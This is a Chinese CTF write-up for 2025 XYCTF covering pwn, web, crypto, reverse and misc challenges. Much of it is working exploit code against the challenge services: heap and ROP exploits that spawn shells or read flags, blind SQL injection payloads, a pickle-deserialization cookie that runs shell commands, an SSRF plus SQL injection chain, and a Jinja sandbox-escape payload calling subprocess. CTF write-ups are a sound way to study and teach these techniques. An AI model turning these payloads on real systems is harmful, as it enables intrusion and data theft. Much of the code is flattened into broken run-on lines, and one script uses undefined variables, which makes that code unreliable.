2025XYCTF writeup by Mini-Venom

admin 2025年4月8日09:21:32评论2 views字数 29216阅读97分23秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组) 

PWN

heap2

本地已经出了,远程打不出来,可惜

c++堆题,add,free,edit

free存在uaf,seccomp开启的沙盒,留下了堆的使用痕迹,直接打house of botcake

最后走cat +orw成功读出flag

from pwn import*defbug():    gdb.attach(p)    pause()defs(a):    p.send(a)defsa(a,b):    p.sendafter(a,b)defsl(a):    p.sendline(a)defsla(a,b):    p.sendlineafter(a,b)defr(a):    p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():    p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')context(os='linux',arch='amd64',log_level='debug')libc=ELF('./libc.so.6')   elf=ELF('./pwn')#p=remote('47.94.217.82',39104)p = process('./pwn')defadd(size,content):    rl("4. Exitn")    sl(str(1))#rl("size: ")    sleep(0.1)    sl(str(size))#rl("data: ")    sleep(0.1)    s(content)deffree(i):    rl("4. Exitn")    sl(str(3))    rl("idx: ")    sl(str(i))defshow(i):    rl("4. Exitn")    sl(str(2))    rl("idx: ")    sl(str(i))defexit():    rl("4. Exitn")    sl(str(4))for i in range(10):    add(0x240,b'a'# 0-9add(0x500,b'a'# 这个用来伪造IO chunk10for i in range(7):    free(i)free(7)show(7)libc_base = u64(p.recv(6).ljust(8,b'x00')) - 0x203B20li(hex(libc_base))IO_list_all = IO_list_all=libc_base+libc.sym['_IO_list_all']system,bin_sh=get_sb()setcontext=libc_base+libc.sym['setcontext']rdi = libc_base+libc.search(asm("pop rdinret")).__next__()rsi = libc_base+libc.search(asm("pop rsinret")).__next__()rdx = libc_base+libc.search(asm("pop rdxnret")).__next__()rax = libc_base+libc.search(asm("pop raxnret")).__next__()ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscallnret")).__next__()open=libc_base+libc.sym['open']read=libc_base + libc.sym['read']write=libc_base + libc.sym['write']free(9)show(9)heap_base = u64(p.recv(6).ljust(8,b'x00')) - 0x15C40li(hex(heap_base))tcache_chunk = heap_base + 0x15EA0li(hex(tcache_chunk))fake_IO_addr = heap_base + 0x16330+1296li(hex(fake_IO_addr))free(8)add(0x240b'./flagx00x00')#bug()free(8)# 这里把整个unsortedbin申请出来就可以控制tcache指针了payload = p64(0)payload = payload.ljust(0x240b'x00')payload += p64(0) + p64(250)payload += p64(IO_list_all ^ (tcache_chunk >> 12))add(0x6e0, payload)add(0x240b'./flagx00x00')add(0x240, p64(fake_IO_addr))chunk3=fake_IO_addr # 伪造的fake_IO结构体的地址_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']fake_IO_FILE  =p64(0)*2+p64(1)+p64(chunk3+0x8)  fake_IO_FILE  =fake_IO_FILE.ljust(0x60,b'x00')  fake_IO_FILE +=p64(0)+p64(chunk3+0xf8)+p64(system) #rdi,rsifake_IO_FILE +=p64(heap_base)              fake_IO_FILE +=p64(0x100)                       #rdxfake_IO_FILE  =fake_IO_FILE.ljust(0x90b'x00')fake_IO_FILE +=p64(chunk3+0x8)                  #_wide_data,rax1_addrfake_IO_FILE +=p64(chunk3+0xf0)+p64(rdi+1)      #rspfake_IO_FILE +=p64(0)+p64(1)+p64(0)*2fake_IO_FILE +=p64(_IO_wfile_jumps+0x30)        # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(setcontext+61)+p64(chunk3+0xc8)fake_IO_FILE +=p64(read)add(0x600,fake_IO_FILE) # 防止被合并 11orw  = p64(rdi) + p64(heap_base+88576)  orw += p64(rsi) + p64(0)orw += p64(rax)+p64(2)+p64(syscall)orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(read)orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_base+0x100)orw += p64(write)#bug()rl("4. Exitn")sl(str(4))sleep(0.1)sl(orw)inter()

Ret2libc's Revenge

全缓冲模式,将缓冲区塞满即可,之后打的syscall

from pwn import*from struct import packimport ctypes#from LibcSearcher import *from ae64 import AE64defbug():        gdb.attach(p)        pause()defs(a):        p.send(a)defsa(a,b):        p.sendafter(a,b)defsl(a):        p.sendline(a)defsla(a,b):        p.sendlineafter(a,b)defr(a):        p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():        p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')#context(os='linux',arch='i386',log_level='debug')   context(os='linux',arch='amd64',log_level='debug')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')   elf=ELF('./pwn')p=remote("8.147.132.32",16709)#p = process('./pwn')#gdb.attach(p,'b *0x401264')sleep(0.1)main=0x40127Frsi_1=0x4010E0rsi_2=0x4010EBrdi=0x401180rbp=0x000000000040117dpay=b'b'*(0x220-4)+p32(0x220-4+1)+p64(0x400600-0x20)+p64(rsi_1)+p64(rsi_2)+p64(rdi)+p64(elf.plt['puts'])+p64(main)*221sl(pay)i=0for i in range(220):        i=i+1        li(hex(i))        sleep(0.2)        s(b'n')libc_base=get_addr64()-527952li(hex(libc_base))system,bin_sh=get_sb()rdi = libc_base+libc.search(asm("pop rdinret")).__next__()rsi = libc_base+libc.search(asm("pop rsinret")).__next__()rdx = libc_base+libc.search(asm("pop rdxnret")).__next__()rdx_r12= libc_base+libc.search(asm("pop rdxnpop r12nret")).__next__()rax = libc_base+libc.search(asm("pop raxnret")).__next__()ret = libc_base+libc.search(asm("ret")).__next__()syscall=libc_base+libc.search(asm("syscallnret")).__next__()#gdb.attach(p,'b *0x401264')pause()pay=b'b'*(0x220-4)+p32(0x220-4+1)+p64(0x400600-0x20)+p64(rdi)+p64(bin_sh)+p64(rsi)+p64(0)+p64(rdx_r12)+p64(0)*2+p64(rax)+p64(0x3b)+p64(syscall)sl(pay)inter()        

girlfriend

思路:

第一次利用格式化字符串漏洞泄露elf基地址,canary,libc基地址

第二次直接把格式化字符串填充为ROP链

第三次利用溢出进行栈迁移打ROP

开启了sandbox,只能打orw,但是不被允许使用open,以及read的第一个参数必须为0,尝试使用openat

ROP链前面大约0x40个字节会覆盖到重要的全局变量,前面0x40只填充 字符串 和 0,利用后面0x60来构造ROP链

构造close(0)关闭标准输入流然后使用openat再打开文件就可以使用read来读取文件中的内容了,然后使用write输出即可

运气非常好,远程libc和本地libc一致,直接就可以打通

from pwn import *  # 从 pwntools 库导入所有模块和函数libc_path = '/lib/x86_64-linux-gnu/libc.so.6'elf = ELF('./girlfriend')  context.arch = 'amd64'context.os = 'linux'libc = ELF(libc_path)context.log_level = 'debug'# 设置日志级别为调试# io = remote('8.147.132.32', 25071)io = process('./girlfriend')menu = "Your Choice:n"deftalk_her(content):# 只有一次机会    io.sendlineafter(menu, str(1))      io.sendafter("what do you want to say to her?", content)  defget_name(comment):    io.sendlineafter(menu, str(3))      io.sendafter("You should tell her your name first", comment)    io.recvuntil("your name:n")canary_offset = 15libc_offset = 17elf_offset = 7# step 1: leak canary, libc_base, elf_baseget_name("%15$p_%17$p_%7$p")io.recvuntil("0x")canary = int(io.recv(16),16)io.recvuntil("0x")libc_base = int(io.recv(12),16) - 0x29D90io.recvuntil("0x")elf_base = int(io.recv(12),16) - 0x18D9bss_addr = elf_base + 0x004060pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret; pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret; pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;leave_ret = libc_base + 0x000000000004da83#: leave; ret; opnat_addr = libc_base + libc.sym['openat']read_addr = libc_base + libc.sym['read']write_addr = libc_base + libc.sym['write']close_addr = libc_base + libc.sym['close']  rop = flat(['flagx00x00x00x00'0,0000,0, pop_rdi_ret, 0, close_addr,    pop_rdi_ret, -100,    pop_rsi_ret, bss_addr,    pop_rdx_r_ret, 0x00,    opnat_addr,    pop_rdi_ret, 0,    pop_rdx_r_ret, 0x1000,    read_addr,    pop_rdi_ret, 1,    pop_rdx_r_ret, 0x1000,    pop_rax_ret, 1,    write_addr,])get_name(rop)payload = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30) + p64(leave_ret)talk_her(payload)io.interactive()
from pwn import *from struct import packfrom ctypes import *import base64#from LibcSearcher import *defdebug(c = 0):if(c):        gdb.attach(p, c)else:        gdb.attach(p)        pause()defget_sb() :return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('8.147.132.32',29399)elf = ELF('./pwn')rdi=0x00000000004018e5leave_ret=0x40191Blibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')r()sl(b'1')sleep(1)r()sl(b'4')sleep(1)r()sl(b'1')sleep(0.5)ret=0x40191Cbss=0x405000+0xa00#gdb.attach(p,'b *0x4018A3 ')sleep(0.1)payload=b'a'*0x40+p64(bss+0x40)+p64(ret)*2+p64(0x4018A8)s(payload)'''sleep(1)gdb.attach(p,'b *0x4018A3 ')'''sh=0x405a00pay=b'/bin/shx00'+p64(rdi+1)+p64(rdi)+p64(sh)+p64(elf.plt['system'])payload=pay.ljust(0x40,b'x00')+p64(0x405a00)+p64(leave_ret)s(payload)inter()

明日方舟寻访模拟器

题目太抽象了。。。。纯靠知识面

调试,输入set follow-fork-mode parent,执行system就不会退出

栈溢出,最后打一次栈迁移,走system的rop链

也就是说,system() 调用了 vfork(),产生了一个子进程 27551,然后执行了 /usr/bin/dash(shell),这就是实际去执行 echobye~ 的地方。接着:arduino复制编辑[Inferior 1 (process 27528) detached]GDB 默认 分离了原来的父进程(27528),并跟踪了子进程(dash)。所以你现在调试的是 shell,而不是你原来的程序了!然后:lua复制编辑Warning:Cannot insert breakpoint 1.Cannot access memory at address 0x4018a8你尝试在 0x4018a8 处打断点,但新的进程 /usr/bin/dash 的地址空间里根本没有你的程序代码了,所以报错。🧠 所以这是什么意思?你已经“丢掉”了原来的程序,GDB 去跟了 /bin/dash,现在调的是 shell(而不是你想调的程序),这显然不是你想要的。✅ 解决方案:不要让 GDB 跟踪子进程你需要让 GDB 继续跟踪原来的程序(不要去跟踪 dash 子进程)。执行前设置:gdb复制编辑set follow-fork-mode parent意思是:当遇到 fork() / vfork() 时,继续调试父进程;不去跟踪 system() 执行出的子进程(shell);然后你就能继续在原来的程序里打断点、查看 system() 之后的行为。🛠 示例操作流程bash复制编辑gdb ./your_binary(gdb) set follow-fork-mode parent(gdb) break *0x4018fc   # system() 调用前(gdb) break *0x401901   # system() 返回后(gdb) run你就能调试完整过程了,而且不再被切换到 shell 子进程。✅ 补充建议如果你确实需要调子进程(比如调 shell 行为),可以用:gdb复制编辑set follow-fork-mode child但调 CTF 或分析逻辑通常是留在父进程更合理。
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

defdebug(c = 0):
if(c):
        gdb.attach(p, c)
else:
        gdb.attach(p)
        pause()
defget_sb() :return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('8.147.132.32',29399)
elf = ELF('./pwn')

rdi=0x00000000004018e5
leave_ret=0x40191B
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r()
sl(b'1')
sleep(1)
r()
sl(b'4')
sleep(1)
r()
sl(b'1')
sleep(0.5)
ret=0x40191C
bss=0x405000+0xa00
#gdb.attach(p,'b *0x4018A3 ')
sleep(0.1)
payload=b'a'*0x40+p64(bss+0x40)+p64(ret)*2+p64(0x4018A8)
s(payload)
'''
sleep(1)
gdb.attach(p,'b *0x4018A3 ')
'''

sh=0x405a00
pay=b'/bin/shx00'+p64(rdi+1)+p64(rdi)+p64(sh)+p64(elf.plt['system'])
payload=pay.ljust(0x40,b'x00')+p64(0x405a00)+p64(leave_ret)
s(payload)

inter()

EZ3.0

mips的栈溢出,原题,split

https://xz.aliyun.com/news/15999?time__1311=eqUxnD0Gi%3DGQYY50QD%2Fin%2Br45bG%3Dzb%3Dez74D&u_atoken=e0f85a100e2f88cf7157e969a4db0d56&u_asig=1a0c39d417439136635924802e003f

from pwn import*from struct import packimport ctypes#from LibcSearcher import *from ae64 import AE64defbug():        gdb.attach(p)        pause()defs(a):        p.send(a)defsa(a,b):        p.sendafter(a,b)defsl(a):        p.sendline(a)defsla(a,b):        p.sendlineafter(a,b)defr(a):        p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():        p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')context(log_level = 'debug',arch = 'mips',endian = 'little')#p = process(["qemu-mipsel","-g","9000","-L","./","./pwn"]) #开启9000端口p = remote('39.106.69.240',20611)elf = ELF('./pwn')payload = b'a' * 36payload += p32(0x00400a20)payload += b'bbbb'payload += p32(0x00400B70)payload += p32(0x00411010)p.sendafter(">", payload)inter()        

Web:

ezsql

盲注,过滤空格用%09绕过,过滤逗号用substring和from 1 for 1绕过

username=admin'%09OR%09substring(database()%09FROM%092%09FOR%091)='e'%23&password=1

猜出来之后进入输入密钥界面,写个脚本继续盲注

Pythonimport requestsimport timeurl = ""flag = ""for pos in range(1, 31):    a = Falsefor str in range(32, 127):        payload = f"admin'%09OR%09case%09when%09("ascii(substring((select%09secret%09from%09double_check%09limit%091)%09FROM%09{pos}%09FOR%091))={ascii_code})%09then%091%09else%090%09end=1%23"        data = {            "username":payload,            "password":'1'        }        try:            res = requests.post(url, data=payload,allow_redirects=False, timeout=3)            if res.status_code == 302:                a = True                result += chr(str)                break        except Exception as e:            print("error")        time.sleep(0.5)    if not a:        breakprint("flag:", flag)

注入出来密钥为dtfrtkcc0czkoua9S

进入后台执行命令界面,无回显写到1.txt文件里,直接访问就行

Signin

目录穿越漏洞,./.././../secret.txt读secret

2025XYCTF writeup by Mini-Venom

/secret路由的get_cookie里面有pickle.loads,打pickle反序列化

2025XYCTF writeup by Mini-Venom
from bottle import Bottle, request, response,run, routeapp = Bottle()classcmd():def__reduce__(self):return (exec,("__import__('os').popen('cat /f*>>/app/app/app.py').read()",))@route('/secret')defsecret_page():    c = cmd()    session = {"name":c}    response.set_cookie("name", session,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")run(host='127.0.0.1', port=8081, debug=False)
2025XYCTF writeup by Mini-Venom

替换cookie中的name后读app.py

2025XYCTF writeup by Mini-Venom
2025XYCTF writeup by Mini-Venom

fate

查看源码发现需要本地才能访问1337路由,构造ssrf

?url=@2130706433:8080/1337

对0传参abcdefghi,不知道为啥不行,url编码一下就过了

req = binary_to_string(req)                print(req)                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)

这里先将req从经过binary_to_string函数,再使用json解析

defbinary_to_string(binary_string):if len(binary_string) % 8 != 0:raise ValueError("Binary string length must be a multiple of 8")    binary_chunks = [binary_string[i:i+8for i in range(0, len(binary_string), 8)]    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

写一个加密的函数

2025XYCTF writeup by Mini-Venom

json解析后的name还要判断长度是否符合要求,使用字典绕过

查看init_db.py文件

Fate = [    ('JOHN''1994-2030 Dead in a car accident'),    ('JANE''1990-2025 Lost in a fire'),    ('SARAH''1982-2017 Fired by a government official'),    ('DANIEL''1978-2013 Murdered by a police officer'),    ('LUKE''1974-2010 Assassinated by a military officer'),    ('KAREN''1970-2006 Fallen from a cliff'),    ('BRIAN''1966-2002 Drowned in a river'),    ('ANNA''1962-1998 Killed by a bomb'),    ('JACOB''1954-1990 Lost in a plane crash'),    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')]

我们要查询的数据在最后一行,查询官方文档后发现可以使用DESC逆序输出,所以构造payload

{"name":{"admin')))))))or 1 order by 1 DESC-- ":"a"}}

再通过加密函数

011110110010001001101110011000010110110101100101001000100011101001111011001000100110000101100100011011010110100101101110001001110010100100101001001010010010100100101001001010010010100101101111011100100010000000110001001000000110111101110010011001000110010101110010001000000110001001111001001000000011000100101101001011010010000000100010001110100010001001100010001000100111110101111101

最终传参

?url=@2130706433:8080/1337?0=%61%62%63%64%65%66%67%68%69&1=011110110010001001101110011000010110110101100101001000100011101001111011001000100110000101100100011011010110100101101110001001110010100100101001001010010010100100101001001010010010100101101111011100100010000000110001001000000110111101110010011001000110010101110010001000000110001001111001001000000011000100101101001011010010000000100010001110100010001001100010001000100111110101111101

Now you see me 1

类似隐写,记事本打开,源码# YOU FOUND ME ;)# -*- encoding: utf-8 -*-'''@File    :   src.py@Time    :   2025/03/29 01:10:37@Author  :   LamentXU '''import flaskimport sysenable_hook =  Falsecounter = 0def audit_checker(event,args):    global counter    if enable_hook:        if event in ["exec""compile"]:            counter += 1            if counter > 4:                raise RuntimeError(event)lock_within = ["debug""form""args""values""headers""json""stream""environ","files""method""cookies""application"'data''url' ,''''"'"getattr""_""{{""}}""[""]""\""/","self""lipsum""cycler""joiner""namespace""init""dir""join""decode""batch""first""last" , " ","dict","list","g.","os""subprocess","g|a""GLOBALS""lower""upper","BUILTINS""select""WHOAMI""path","os""popen""cat""nl""app""setattr""translate","sort""base64""encode""\u""pop""referer","The closer you see, the lesser you find."# I hate all these.app = flask.Flask(__name__)@app.route('/')def index():    return 'try /H3dden_route'@app.route('/H3dden_route')def r3al_ins1de_th0ught():    global enable_hook, counter    name = flask.request.args.get('My_ins1de_w0r1d')    if name:        try:            if name.startswith("Follow-your-heart-"):                for i in lock_within:                    if i in name:                        return 'NOPE.'                enable_hook = True                a = flask.render_template_string('{#'+f'{name}'+'#}')                enable_hook = False                counter = 0                return a            else:                return 'My inside world is always hidden.'        except RuntimeError as e:            counter = 0            return 'NO.'        except Exception as e:            return 'Error'    else:        return 'Welcome to Hidden_route!'if __name__ == '__main__':    import os    try:        import _posixsubprocess        del _posixsubprocess.fork_exec    except:        pass    import subprocess    del os.popen    del os.system    del subprocess.Popen    del subprocess.call    del subprocess.run    del subprocess.check_output    del subprocess.getoutput    del subprocess.check_call    del subprocess.getstatusoutput    del subprocess.PIPE    del subprocess.STDOUT    del subprocess.CalledProcessError    del subprocess.TimeoutExpired    del subprocess.SubprocessError    sys.addaudithook(audit_checker)    app.run(debug=False, host='0.0.0.0', port=5000)python沙箱逃逸ssti,用config.update写进config,目的是把全局变量都写入config,这样引用只需要config就行,request的mimetype属性绕过下划线,%09绕过空格,{%%}要用set语句赋值{%25set%09x=config%25}{%25set%09a=x.update(cmd=request.mimetype)%25}{%25print(x|attr(x.cla)|attr(x.i)|attr(x.glo))%}读取到__globals__
payload:?My_ins1de_w0r1d=Follow-your-heart-{%25set%09x=config%25}{%25set%09a=x.update(cmd=request.mimetype)%25}{%25print(x|attr(x.cla)|attr(x.in)|attr(x.glo)|attr(x.gett)(x.bul)|attr(x.gett)(x.ev)(x.cmd))%25} Content-Type:__import__("subprocess").getoutput('cat /flag_h3r3 >static/1.txt')//先mkdir static

最后是一个音频文件,010打开

ez_puzzle

本地打,js文件里找到if(G<yw4)改成G>yw4正常拼出来就好了(找小于符号一个一个试的...)

Crypto:

Division

写了两个功能要去预测随机数,利用第一个计算功能先获取624组伪随机数,然后选择2去做预测就好了

from pwn import *from tqdm import *from mt19937predictor import MT19937Predictorpredictor = MT19937Predictor()o=remote("47.94.172.18",28759)o.recvline()o.recvline()o.recvline()o.recvline()o.recvline()o.recvline()o.recv()for i in trange(624):    o.sendline(b"1")    o.recv()    o.sendline(b"1")    k=int(o.recv().split(b"=")[1])    predictor.setrandbits(k, 32)    o.recv()o.sendline(b"2")print(o.recv())rand1=predictor.getrandbits(11000)rand2=predictor.getrandbits(10000)correct_ans = rand1 // rand2o.sendline(str(correct_ans))print(o.recv())print(o.recv())

Complex_signin

打一个二元copper

import itertoolsfrom Crypto.Cipher import ChaCha20import hashlibdefsmall_roots(f, bounds, m=1, d=None):ifnot d:        d = f.degree()    R = f.base_ring()    N = R.cardinality()    f /= f.coefficients().pop(0)    f = f.change_ring(ZZ)    G = Sequence([], f.parent())for i in range(m + 1):        base = N ^ (m - i) * f ^ ifor shifts in itertools.product(range(d), repeat=f.nvariables()):            g = base * prod(map(power, f.variables(), shifts))            G.append(g)    B, monomials = G.coefficient_matrix()    monomials = vector(monomials)    factors = [monomial(*bounds) for monomial in monomials]for i, factor in enumerate(factors):        B.rescale_col(i, factor)    B = B.dense_matrix().LLL()    B = B.change_ring(QQ)for i, factor in enumerate(factors):        B.rescale_col(i, 1 / factor)    H = Sequence([], f.parent().change_ring(QQ))for h in filter(None, B * monomials):        H.append(h)        I = H.ideal()if I.dimension() == -1:            H.pop()elif I.dimension() == 0:            roots = []for root in I.variety(ring=ZZ):                root = tuple(R(root[var]) for var in f.variables())                roots.append(root)return rootsreturn []n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753mh = [396060442523363724396075097688470789247335673796575273289978380614691189836731294941982875101238001393399327170194968129531348378231383617998914660765523016231578454123673136858296545642894452462102638529737774610844093867740112581658611958808015010385507545087420601290300994246834029699570027044964314802595752792545203464767744670519825016722215018131271864248083439976613451933331698934722144868571122084203201051704598504481367442610429571001560745068220521109877922964733474970604318051286188929589905042725772120937042342104681110268264896737521993666424658419422474576184296241886408490482076412220729301401615053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]C = [530074317499979532937152787019010070315463996045057557510173822552881433115263773372961341920189899438654881650485840972631874241916971722270240440949615616728335416336272930427955321451016058933667246397276784260488686615960056753343662693181098141819322759375868861051255639112917623430744875853450643275511343241109969099145345219965321405490109324233770088066100648613842474308552791134793157173047358205198752044723758688511920542266897187648868470819625526653668008383597266874990221228503275628642424428413694176775275407859883031727194998137867417668515951677724730597036584361610551345645299319919282314876021112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]enc = b'x9cxc4nx8dFxd9x9exf4x05x82!xdexfex012$xd0x8cxafxfbrEb(x04)xa1xa6xbaI2Jxd2xb2x898x11xe6xxa9x19x00pnxf6rs- xd2xd1xbexc7xf51.xd4xd2 xe7xc6xcaxe5x19xbe'PR.< x,y > = PolynomialRing(Zmod(n))f1=((mh[0]+x)^3-3*(mh[0]+x)*(mh[1]+y)^2)-C[0]res=small_roots(f1,bounds=(2^128,2^128),m=1,d=3)print(ChaCha20.new(key=hashlib.sha256(str(res[0][0]+mh[0]+mh[1] +res[0][1]).encode()).digest(), nonce=b'Pr3d1ctmyxjj').decrypt(enc))# XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}

Reverse:

VBS

参考2024H&NCTF,vbs混淆,解混淆之后就是一个RC4

Dargon

clang Dragon.bc -o dragon.exe编译得出exe

ida打开exe 逻辑很清晰 一个crc64 密文已知 直接爆 注意小端序即可

defcrc64(data, prev=0xFFFFFFFFFFFFFFFF):    POLY = 0x42F0E1EBA9EA3693    crc = prevfor byte in data:        crc ^= (byte << 56)for _ in range(8):            top_bit = crc >> 63            crc = (crc << 1) & 0xFFFFFFFFFFFFFFFFif top_bit:                crc ^= POLYreturn ~crc & 0xFFFFFFFFFFFFFFFFenc = [0xDC63E34E419F7B47,0x031EF8D4E7B2BFC6,0x12D62FBC625FD89E,0x83E8B6E1CC5755E8,0xFC7BB1EB2AB665CC,0x9382CA1B2A62D96B,0xB1FFF8A07673C387,0x0DA81627388E05E1,0x9EF1E61AE8D0AAB7,0x92783FD2E7F26145,0x63C97CA1F56FE60B,0x9BD3A8B043B73AAB,]flag = bytearray()for i in enc:    found = Falsefor b1 in range(256):for b2 in range(256):            block = bytes([b1, b2])            crc = crc64(block)if crc == i:                flag.extend(block)                found = Truebreakif found:breakprint(flag.decode())#

Moon

非预期(应该)

ida打开moon.pyd 还比较良心 给了符号

2025XYCTF writeup by Mini-Venom

发现只有两个函数 一个xor_crypt 一个check_flag

还找到了一段密文

2025XYCTF writeup by Mini-Venom

因为异或加密 异或回去就是明文 所以考虑直接调用pyd的xor函数 但是不知道key 于是help一下得到seed

2025XYCTF writeup by Mini-Venom

直接调用xor_crypt函数

import moonhelp(moon)enc "426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7"data = bytes.fromhex(enc)flag = moon.xor_crypt(1131796, data)print(flag)#b'flag{but_y0u_l00k3d_up_@t_th3_mOOn}'

Misc:

XGCTF

原题是2024 CISCN华东南Pollute,搜题目名字和ID就能找到博客

view-source:https://dragonkeeep.top/category/CISCN%E5%8D%8E%E4%B8%9C%E5%8D%97WEB-Polluted/

2025XYCTF writeup by Mini-Venom

flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

签个到吧

import redefextract_bf_segments(code):# 用正则找到所有包含 `[-]` 的部分,去除 `[-]`    segments = re.split(r'[-]', code)return segmentsdefrun_segment(segment):    tape = [0] * 30000    ptr = 0    ip = 0    output_log = []    brackets = {}    stack = []# 构建匹配括号表for i, c in enumerate(segment):if c == '[':            stack.append(i)elif c == ']':            start = stack.pop()            brackets[start] = i            brackets[i] = startwhile ip < len(segment):        cmd = segment[ip]if cmd == '>':            ptr += 1elif cmd == '<':            ptr -= 1elif cmd == '+':            tape[ptr] = (tape[ptr] + 1) % 256elif cmd == '-':            tape[ptr] = (tape[ptr] - 1) % 256elif cmd == '[':if tape[ptr] == 0:                ip = brackets[ip]elif cmd == ']':if tape[ptr] != 0:                ip = brackets[ip]        ip += 1# 获取当前 cell 值并转为字符    char_value = tape[ptr]    output_log.append(f'MEM[{ptr}] = {char_value}')return chr(char_value), output_logdefbrainfuck_split_and_decode(code, log_file='bf_log.txt', out_file='bf_output.txt'):    segments = extract_bf_segments(code)    result = ""    logs = []for i, segment in enumerate(segments):if segment.strip() == "":  # 忽略空段continue        